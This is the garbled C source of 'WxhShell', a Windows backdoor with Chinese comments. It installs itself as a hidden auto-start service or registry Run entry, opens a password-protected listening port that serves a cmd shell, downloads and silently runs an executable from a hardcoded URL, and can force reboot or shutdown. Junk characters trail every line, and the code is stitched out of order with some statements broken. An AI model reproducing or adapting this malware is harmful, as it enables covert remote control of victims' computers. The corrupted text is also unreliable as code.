    if(Boot(SHUTDOWN)) N.r8dC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f.Wip)g  
    else { Wtl/xA_  
    closesocket(wsh); ko-|hBNv  
    ExitThread(0); Mf'T\^-!  
    } i=Nq`BoQf  
    break; &sh5|5EC  
    } M*XAyo4 fI  
  // 获取shell ZBw]H'sT  
  case 's': { kg0X2^#b  
    CmdShell(wsh); @)[Q6w`x  
    closesocket(wsh); RsTz3]`yv  
    ExitThread(0); 9g %1^$R  
    break; ]Rah,4?9f  
  } bYs K|n  
  // 退出 )Fe6>tE  
  case 'x': { er<yB#/;-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +fh@m h0[  
    CloseIt(wsh); c3S}(8g5.  
    break; Tp vq5Cz  
    } K&T[F!  
  // 离开 u@ MUcW  
  case 'q': { b$7p`Ay  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eBUexxBY  
    closesocket(wsh); )\nKr;4MH  
    WSACleanup(); ['~E _z  
    exit(1); >9-$E?Mt  
    break; l(&3s:Ud  
        } V { #8+  
  } G;RFY!o  
  } HpbSf1VvAf  
=|}_ASbzw  
  // 提示信息 R-2NJ0F7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <V[Qs3uo(  
} 1Ce7\A  
  } Z5x&P_.x[  
RCZ"BxleU  
  return; r{+P2MPW  
} hJ~Na\?w  
:V,agAMn  
// shell模块句柄 (!cG*FrN  
int CmdShell(SOCKET sock) R1sWhB99  
{ > nHaMj  
STARTUPINFO si; sd5%Szx  
ZeroMemory(&si,sizeof(si)); ??Lda='  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E;`@S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; exW|c~|m{A  
PROCESS_INFORMATION ProcessInfo; >:C0ZQUW  
char cmdline[]="cmd"; D*T*of G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ms4~P6;%  
  return 0; r6WSX;K  
} Z;v5L/;  
/RG>n  
// 自身启动模式 k7L-J  
int StartFromService(void) y$Nqw9  
{ }Gvu!a#R  
typedef struct != uaB.  
{ \v\f'eQ  
  DWORD ExitStatus; {[I]pm~n  
  DWORD PebBaseAddress; ey/{Z<D  
  DWORD AffinityMask; _%R]TlL  
  DWORD BasePriority; { l0[`"EF  
  ULONG UniqueProcessId; :P'M|U  
  ULONG InheritedFromUniqueProcessId; 1hTE^\W  
}   PROCESS_BASIC_INFORMATION; %XC3V7  
5>Kk>[|.  
PROCNTQSIP NtQueryInformationProcess; }Qu kn  
&':Ecmo~`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $@Bd}35 J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F<V.OFt  
2gasH11M  
  HANDLE             hProcess; * \$m1g7b  
  PROCESS_BASIC_INFORMATION pbi; C%RYQpY*c  
" ""k}M2A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); twWzS 4;  
  if(NULL == hInst ) return 0; * :kMv;9  
i!<1&{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !VDNqW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -P6Z[ V%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -){aBMOv3  
J@}PBHK+  
  if (!NtQueryInformationProcess) return 0; 0 s$;3qE  
<u_ vL WS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TSKT6_IJw  
  if(!hProcess) return 0; d ug^oc1  
5+DId7d'n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]&;K:#J  
?-v]+<$Y  
  CloseHandle(hProcess); =w5]o@  
P Dgd'y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '.B5CQ  
if(hProcess==NULL) return 0; fxQ4kiI  
8a8CY,n{  
HMODULE hMod; cM_!_8o  
char procName[255]; x DiGN Jc  
unsigned long cbNeeded; _LSp \{Z  
1w!O&kn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xNd p]u  
Oq9E$0JW  
  CloseHandle(hProcess); B&+)s5hh  
dW5@Z-9  
if(strstr(procName,"services")) return 1; // 以服务启动 ,;@v Vm'}  
oQiRjDLx  
  return 0; // 注册表启动 &cp `? k  
} J#?` l,  
*'cyFu$  
// 主模块 jwL\|B oE  
int StartWxhshell(LPSTR lpCmdLine) E[ttamU  
{ HO_!/4hrU  
  SOCKET wsl; koa-sy)#L  
BOOL val=TRUE; yz<$?Gblz  
  int port=0; =5;tB  
  struct sockaddr_in door; =E w<s5C@  
Qv W vS9]  
  if(wscfg.ws_autoins) Install(); ";U#aK1p  
*djVOC  
port=atoi(lpCmdLine); ) ^`V{iD  
G]n_RP$G  
if(port<=0) port=wscfg.ws_port;  Al1}Ir   
tbXl5x0  
  WSADATA data; _)S['[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ()Q#@?c~  
%"Ia]0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (M2hK[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M?_7*o]!  
  door.sin_family = AF_INET; ?,`g h}>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]++,7Z\AU  
  door.sin_port = htons(port); ,m Nd#  
d{Cg3v`Rd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Oz4vV_a&'  
closesocket(wsl); 0j :u.x  
return 1; 6rMXv0)  
} TWM^5 L:U  
W#@6e')d  
  if(listen(wsl,2) == INVALID_SOCKET) { j#jwK(:]  
closesocket(wsl); 7?;ZE:  
return 1; P0/Ctke;  
} 2YQ;Kh"S   
  Wxhshell(wsl); x=03 WQ8  
  WSACleanup(); t3b M4+n  
t52KF#+>  
return 0; ^;sE)L6  
bA1O]:`  
} >a;LBQ0  
)UtK9;@"  
// 以NT服务方式启动 q2P_37  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PJO.^OsM  
{ tlM >=s'T  
DWORD   status = 0; t$&'mJ_-w  
  DWORD   specificError = 0xfffffff;  {DD #&B  
"%YVAaN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P(.XB`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;@*<M\O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vScEQS$>  
  serviceStatus.dwWin32ExitCode     = 0; n/{ pQ&B  
  serviceStatus.dwServiceSpecificExitCode = 0; e'sS",o*  
  serviceStatus.dwCheckPoint       = 0; ?kK3%uJy&  
  serviceStatus.dwWaitHint       = 0; Ob/i_  
R7 rO7M !  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =M6{{lI/  
  if (hServiceStatusHandle==0) return; 5@J]#bp0M  
~3Za"q*0s  
status = GetLastError(); HB,?}S#TP  
  if (status!=NO_ERROR) TBIr^n>Z<k  
{ VU1Wr|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "g*`G<W_s  
    serviceStatus.dwCheckPoint       = 0; K 6yD64  
    serviceStatus.dwWaitHint       = 0; ;jJ4H+8  
    serviceStatus.dwWin32ExitCode     = status; J|F!$m{  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?[|A sw1t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "(iDUl  
    return;  au]W*;x  
  } #iQF)x| D  
'h@&rr@5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oE_*hp+  
  serviceStatus.dwCheckPoint       = 0; v 8EI   
  serviceStatus.dwWaitHint       = 0; Nt;1&dwUb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (f2r4Io|}  
} /#z"c]#  
[ahwJF#r  
// 处理NT服务事件,比如:启动、停止 ,rjl|F* T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iL!4r]~H  
{ E5 #ff5  
switch(fdwControl) wv`ar>qVL  
{ b%KcS&-6  
case SERVICE_CONTROL_STOP: ^ZIs>.'  
  serviceStatus.dwWin32ExitCode = 0; +^jm_+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J7sH]  
  serviceStatus.dwCheckPoint   = 0; e _(';Lk  
  serviceStatus.dwWaitHint     = 0; liqVfB%  
  { PI@?I&Bo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A<^X P-Nrp  
  } (! 8y~n 1  
  return; cE>m/^SKr  
case SERVICE_CONTROL_PAUSE: d+vAm3.Dg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3ZbqZ"rE  
  break; #]Lodo9rS\  
case SERVICE_CONTROL_CONTINUE: |&@`~OBa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r/@Wn  
  break; i8KoJY"  
case SERVICE_CONTROL_INTERROGATE: -GMaK.4 =  
  break; mHAfKB  
}; DZ1.Bm0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )G;H f?M  
} As5-@l`@  
E#3tkFF0Z[  
// 标准应用程序主函数 3}8L!2_p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B873UN  
{ N`{ 6<Z0  
E3(o}O  
// 获取操作系统版本 D+jE{v'  
OsIsNt=GetOsVer(); S_ nAO\h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JIjo^zOXsc  
?~IdPSY  
  // 从命令行安装 cv1PiIl  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4c qf=  
S&.xgBR  
  // 下载执行文件 mfF `K2R  
if(wscfg.ws_downexe) { XH(-anU"!P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y DW^N] G  
  WinExec(wscfg.ws_filenam,SW_HIDE); %iME[| u&  
} :yE0DS<_  
&*E! %57  
if(!OsIsNt) { L7nG5i  
// 如果时win9x,隐藏进程并且设置为注册表启动 (>Nwd^  
HideProc(); E!.&y4  
StartWxhshell(lpCmdLine); EiaP1o  
} i`Qa7  
else 9 ~$E+ m(  
  if(StartFromService())  ;q5|If  
  // 以服务方式启动 H|7XfM  
  StartServiceCtrlDispatcher(DispatchTable); *_d N9  
else x4MTE?hT  
  // 普通方式启动 W8Wjq DQ  
  StartWxhshell(lpCmdLine); *>`6{0, 9  
{; th~[  
return 0; z,hBtq:-$  
} ir>S\VT4  
\rATmjsKzS  
"'GhE+>Z  
G;J)[y  
=========================================== rC]k'p2x  
QhLgFu  
19-V;F@;  
m>F:dI  
C@[U:\  
SjY|aW+wAL  
" )m[<lJ bw  
QoZZXCU  
#include <stdio.h> s&'FaqE  
#include <string.h> | lZJt  
#include <windows.h> Fa\jVFIQ  
#include <winsock2.h> ?Z4%u8Krvz  
#include <winsvc.h> Vy|4k2  
#include <urlmon.h> Rry] 6(  
-rjQ^ze  
#pragma comment (lib, "Ws2_32.lib") AlG5n'  
#pragma comment (lib, "urlmon.lib") yGSZ;BDW:K  
VXlAK(   
#define MAX_USER   100 // 最大客户端连接数 lzz;L z  
#define BUF_SOCK   200 // sock buffer )v11j.D  
#define KEY_BUFF   255 // 输入 buffer ms!|a_H7 r  
ywkRH  
#define REBOOT     0   // 重启 m2YsE  j7  
#define SHUTDOWN   1   // 关机 '\+"3!$  
>@ xe-0z  
#define DEF_PORT   5000 // 监听端口 .p*?g;  
<3/_'/C  
#define REG_LEN     16   // 注册表键长度 GD'Z"rhI  
#define SVC_LEN     80   // NT服务名长度 ~t/i0pKq.  
r{84Y!k~*  
// 从dll定义API q_ryW$/_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $cc]Av4c2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U 8p %MFD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =yM%#{t&W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g oyQ',+  
S("dU`T?  
// wxhshell配置信息 ~IWdFUKk  
struct WSCFG { 'ey62-^r6  
  int ws_port;         // 监听端口 #B6f{D[pI  
  char ws_passstr[REG_LEN]; // 口令 #`f{\  
  int ws_autoins;       // 安装标记, 1=yes 0=no  +Mhk<A[s  
  char ws_regname[REG_LEN]; // 注册表键名 %W2U$I5  
  char ws_svcname[REG_LEN]; // 服务名 f [.'V1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rlawH}1b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~Hv>^u Mh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J .TK<!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $~/cxLcT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r\FZ-gk}Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ewq@>$_!  
wHQ$xO;vD'  
}; =au!rda  
6Z' K1  
// default Wxhshell configuration ?G!~&  
struct WSCFG wscfg={DEF_PORT, ?8?vBkz~  
    "xuhuanlingzhe", c0rU&+:Ry  
    1, ~:U`^wtQ  
    "Wxhshell", } XhL`%  
    "Wxhshell", ?*yB&(a:8  
            "WxhShell Service", aI ;$N|]u  
    "Wrsky Windows CmdShell Service", QtXiUx^ k<  
    "Please Input Your Password: ", vD:J!|hs(  
  1, : ir3u  
  "http://www.wrsky.com/wxhshell.exe", YTmHht{j#  
  "Wxhshell.exe" \%bJXTK&W  
    }; (=fLWK{8  
guGX  G+  
// 消息定义模块 GoAh{=s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O6 s3#iu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b SgbvnJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~k?wnw  
char *msg_ws_ext="\n\rExit."; }{=}^c"t'  
char *msg_ws_end="\n\rQuit."; bJ1Nf|3~E  
char *msg_ws_boot="\n\rReboot..."; TXXG0 G  
char *msg_ws_poff="\n\rShutdown..."; 6OAEAIh  
char *msg_ws_down="\n\rSave to "; B:0oT  
aPK:k$.  
char *msg_ws_err="\n\rErr!"; :8@eon}  
char *msg_ws_ok="\n\rOK!"; frDMFEXXP  
<y~Ba@1u  
char ExeFile[MAX_PATH]; :).NA ]  
int nUser = 0;  :TR:tf  
HANDLE handles[MAX_USER];  qsXkm4  
int OsIsNt; <_Z.fdUA  
={ -kQq  
SERVICE_STATUS       serviceStatus; 44B D2`nF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XqUQ{^;aI  
XksI.]tfj  
// 函数声明 v_pe=LC{-e  
int Install(void); n}e%c B  
int Uninstall(void); Im!b-1  
int DownloadFile(char *sURL, SOCKET wsh); @>.aQE  
int Boot(int flag); !L q'o ?  
void HideProc(void); "\`Fu  
int GetOsVer(void); c}|.U  
int Wxhshell(SOCKET wsl); z~tdLtcX  
void TalkWithClient(void *cs); "aI)LlyCY  
int CmdShell(SOCKET sock); i>[xN[U(  
int StartFromService(void); M*D_p n&  
int StartWxhshell(LPSTR lpCmdLine); Tp{ jR<  
8!3q:8y8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OHj>ufwVq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZI qXkD  
*{j;LA.BR#  
// 数据结构和表定义 67&Q<`V1*q  
SERVICE_TABLE_ENTRY DispatchTable[] = DNqV]N_W  
{ )V>zXy}Y  
{wscfg.ws_svcname, NTServiceMain}, ~n) |  
{NULL, NULL} GD d'{qE6  
}; |6DJ5VFzD  
, %8)I("  
// 自我安装 p{W Amly  
int Install(void) ?I? ~BWu  
{ D|m0Vj b  
  char svExeFile[MAX_PATH]; dTCLE t.  
  HKEY key; `Npo|.?=  
  strcpy(svExeFile,ExeFile); kdlmj[=  
fp\mBei  
// 如果是win9x系统,修改注册表设为自启动 YQFz6#Ew  
if(!OsIsNt) { =54D#,[B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hCF_pt+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F%&lM[N%  
  RegCloseKey(key); jPZ+~:m+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n7~4*B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B[EOz\?=m  
  RegCloseKey(key); Ja4M@z  
  return 0; &v1E)/q{Z  
    } }`H{;A h  
  } NS`hXf  
} Bw!J!cCj  
else { z;e@m2.IM  
:@P6ibcX  
// 如果是NT以上系统,安装为系统服务 xoj,>[7 D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QGV#AID3XW  
if (schSCManager!=0) bV2a2#kj  
{ J%xUO1  
  SC_HANDLE schService = CreateService )B&`<1Oie  
  ( +zk5du^gZ  
  schSCManager, wme#8/eUk  
  wscfg.ws_svcname, 4guR8 elM  
  wscfg.ws_svcdisp, t\ z@k9  
  SERVICE_ALL_ACCESS, &=M4Z/Ao  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .o]I^3tf c  
  SERVICE_AUTO_START, "M/) LXn:0  
  SERVICE_ERROR_NORMAL, Q(aNa!  
  svExeFile, /F"eqMN  
  NULL, I0Allw[  
  NULL, Bsg^[~jWJu  
  NULL, F:#5Edo}A  
  NULL, 8(y%]#n  
  NULL x0{B7/FN  
  ); S#oBO%!  
  if (schService!=0) }1[s,  
  { /U!B2%vq_  
  CloseServiceHandle(schService); +aM[!pW(e  
  CloseServiceHandle(schSCManager); st)v'ce,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a'Odw2Q_  
  strcat(svExeFile,wscfg.ws_svcname); : OjmaP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J!6w9,T_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >b9J!'G,(  
  RegCloseKey(key); *q,nALs  
  return 0; Ja 5od  
    } g@s`PBF7`  
  } ,YBO}l  
  CloseServiceHandle(schSCManager); ,ZrR*W?iF  
} "K9[P :nw  
} Wf5;~RJC?  
8mRZ(B>% X  
return 1; oH v.EO  
} :eD-'#@$u  
/4+Q; P  
// 自我卸载 na9YlJ\  
int Uninstall(void) \<xo`2b  
{ qa@;S,lp  
  HKEY key; SDSP4W5  
tq~f9EvC  
if(!OsIsNt) { GhcH"D%-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PZ'|)  
  RegDeleteValue(key,wscfg.ws_regname); eg?p)|  
  RegCloseKey(key); fr04nl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;vPFRiFK  
  RegDeleteValue(key,wscfg.ws_regname); [4YRyx&:++  
  RegCloseKey(key); No[9m_  
  return 0; q&&"8.w-  
  } U&Atgv  
} rr(kFQ"  
} "+qZv(  
else { >FHx],  
X@Zt4)2#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eNi#% ?=WB  
if (schSCManager!=0) Q<MxbHk9  
{ "M2WK6?O5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #?D[WTV  
  if (schService!=0) >d"\  
  { i?@7>Ca  
  if(DeleteService(schService)!=0) { Evg#sPu\  
  CloseServiceHandle(schService); HN/YuP03[  
  CloseServiceHandle(schSCManager); NYg&8s.  
  return 0; m8F \ESL  
  } e]; IQ|  
  CloseServiceHandle(schService); |E$q S)y  
  } }W!w  
  CloseServiceHandle(schSCManager); a;U)#*(5|v  
} Ez-AQ'  
} b%"/8rK  
` -SC,qHw  
return 1; DoO ;VF  
} f>cUdEPBb  
|?^N@  
// 从指定url下载文件 *KiY+_8>  
int DownloadFile(char *sURL, SOCKET wsh) >0 o[@gJl  
{ 5%V(eR  
  HRESULT hr; qM 1ZCt  
char seps[]= "/"; aL;zN%Tw  
char *token; 2sG1Hox  
char *file; U+4[w`a}  
char myURL[MAX_PATH]; ]goV Q'Y  
char myFILE[MAX_PATH]; 8p}z~\J{a:  
3d1xL+  
strcpy(myURL,sURL); d Efk~V\  
  token=strtok(myURL,seps); ]c 'EJu  
  while(token!=NULL) ']c;$wP  
  { iK1{SgXrFI  
    file=token; GyxLzrp  
  token=strtok(NULL,seps); D,FgX/&i/  
  } (;9fkqm%m  
K%t&a RjS  
GetCurrentDirectory(MAX_PATH,myFILE); +"WNG  
strcat(myFILE, "\\"); A(BjU:D(Oj  
strcat(myFILE, file); 4$N,|bt  
  send(wsh,myFILE,strlen(myFILE),0); /FW$)w2{j  
send(wsh,"...",3,0); 2Q%M2Ua  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pBBKfv  
  if(hr==S_OK) ;Z"Iv  
return 0; iGj,B =35  
else rAW7Zp~KK  
return 1; ;H71A[M T  
|FlB#  
} RhF< {U.  
mKV31wvK}  
// 系统电源模块 pK_zq  
int Boot(int flag) rij%l+%@#  
{ ~mah.8G  
  HANDLE hToken; 'aD"v>  
  TOKEN_PRIVILEGES tkp; <j#IR  
U Lq`!1{   
  if(OsIsNt) { QJR},nZ3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O)&ME  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uP8 cW([  
    tkp.PrivilegeCount = 1; k`[>B k%b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P$AHw;n[R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }waZGJLN  
if(flag==REBOOT) { <.BY=z=H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t)k;5B`> &  
  return 0; 0lYP!\J3]%  
} |rhB@k  
else { i^ILo,Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &,l7wK  
  return 0; " ? V;C  
} 4-'0# a  
  } m%"=sX7/9  
  else { =Bh,>Kg  
if(flag==REBOOT) { G$Fo*;Fl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Jzy:^PObT  
  return 0; $SFreyI;Uf  
} ]eFNR1<OP  
else { km lb,P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6 9uDc  
  return 0; /Q#eP m  
} l 8GAZ*+  
} 7+[L6q/K  
YLSDJ$K6  
return 1; /9P7;1?  
} _wW"Tn]  
$mf6!p4  
// win9x进程隐藏模块 ci 22fw0  
void HideProc(void) m<cv3dbZo  
{ fG.6S"|M  
+>a(9r|:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); es+ZPX>Y  
  if ( hKernel != NULL ) L!ms{0rJ  
  { * "?,.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OMYbCy^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NW21{}=4  
    FreeLibrary(hKernel); )B~{G\jS  
  } f|s,%AU"i  
7(LB}  
return; OH 88d:  
} W7~OU(}[`  
B&*`A&^y  
// 获取操作系统版本 -&v0JvTJ9j  
int GetOsVer(void) r>"l:GZ  
{ ^fS_h `B  
  OSVERSIONINFO winfo; vsI|HxpyC,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4Xn-L&0z  
  GetVersionEx(&winfo); oVfRp.a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EWVn*xl?  
  return 1; iE{VmHp=  
  else /B{c L`<  
  return 0; [Mv'*.7  
} j zZEP4  
>DzW  OB  
// 客户端句柄模块 '^2bC  
int Wxhshell(SOCKET wsl) "Vwk&~B%  
{ [>QzT"=  
  SOCKET wsh; *;T HD>  
  struct sockaddr_in client; i(q a'*  
  DWORD myID; O G7U+d6  
v}^uN+a5  
  while(nUser<MAX_USER) v?DA>  
{ "(\]-%:7  
  int nSize=sizeof(client); x.(Sv]+[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zj1_#=]  
  if(wsh==INVALID_SOCKET) return 1; pM!cF  
<2I<Z'B,e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Et)j6xz/F  
if(handles[nUser]==0) 8..g\ZT  
  closesocket(wsh); }.<]A  
else jH9.N4L  
  nUser++; P&Hhq>@Z  
  } R}OjSiS\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w~e$ul(IQM  
6ZGw 3p)  
  return 0; _ukBp*u  
} ~c>]kL(,  
C7 9~@%T  
// 关闭 socket Rd1I$| Y  
void CloseIt(SOCKET wsh) {8~xFYc:  
{ !OR %AdxB  
closesocket(wsh); 0'`#I  
nUser--; nh"LdHqiDB  
ExitThread(0); %#lJn.o  
} j5 W)9HW:  
+C=^,B!,  
// 客户端请求句柄 1-pxM~Y  
void TalkWithClient(void *cs) tW3Nry  
{ o{K#LP  
1tCe#*|95  
  SOCKET wsh=(SOCKET)cs; nqib`U@"  
  char pwd[SVC_LEN]; ~_4$|WKl  
  char cmd[KEY_BUFF]; /JP%gD"8  
char chr[1]; M/8EaQs}  
int i,j; 0"c(n0L  
;5aAnvgW  
  while (nUser < MAX_USER) { X]Ma:1+  
ItQ3|-^  
if(wscfg.ws_passstr) { B%Z,Xjq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H3BMN}K~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _^] :tL6  
  //ZeroMemory(pwd,KEY_BUFF); +H3;{ h9,  
      i=0; !O/(._YB`  
  while(i<SVC_LEN) { qMcOSZ%8J  
3Ett9fBd  
  // 设置超时 :k oXS  
  fd_set FdRead; e?XQ,  
  struct timeval TimeOut; Hl*/s  
  FD_ZERO(&FdRead); Z<[f81hE&  
  FD_SET(wsh,&FdRead); /y5a~3  
  TimeOut.tv_sec=8; +{ {'3=x9  
  TimeOut.tv_usec=0; *JY2vq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aK'%E3!~=x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8$6^S{M3  
koOp:7r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kQ $.g<  
  pwd=chr[0]; 1}I%yOi)  
  if(chr[0]==0xd || chr[0]==0xa) { ?\T):o;/  
  pwd=0; ?h|w7/9  
  break; gn4 Sz")  
  } DzK%$#{<  
  i++; :g"U G0];  
    } soB5sFt&]  
9uA2M!~i2  
  // 如果是非法用户,关闭 socket $pYT#_P!/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '0E^th#u-0  
} /Es&~Fn  
PQ`~qM:3st  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N:7;c}~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mM;p 7 sJ  
B)(ZRH  
while(1) { m<e-XT  
^-pHhh|g  
  ZeroMemory(cmd,KEY_BUFF); orr6._xw  
ojy[<  
      // 自动支持客户端 telnet标准   $+Vp>  
  j=0; pe7R1{2Q_s  
  while(j<KEY_BUFF) { DM)%=C6<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -JB~yO?0  
  cmd[j]=chr[0]; C\C*'l6d  
  if(chr[0]==0xa || chr[0]==0xd) { ;kiL`K  
  cmd[j]=0; 5o R/Q|^  
  break; hS7o=G[  
  } -PH!U Hg  
  j++; xO` O$ie  
    } Oxhc!9F  
dQH9NsV7g  
  // 下载文件 P[bj {lo  
  if(strstr(cmd,"http://")) { XCU>b[Cj,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vB T]a  
  if(DownloadFile(cmd,wsh)) w%Tjn^d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); > z1q\cz  
  else 6. 6g9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M?zwXmTVW0  
  } Wk&g!FR  
  else { lQnqPQY  
B&k"B?9mL  
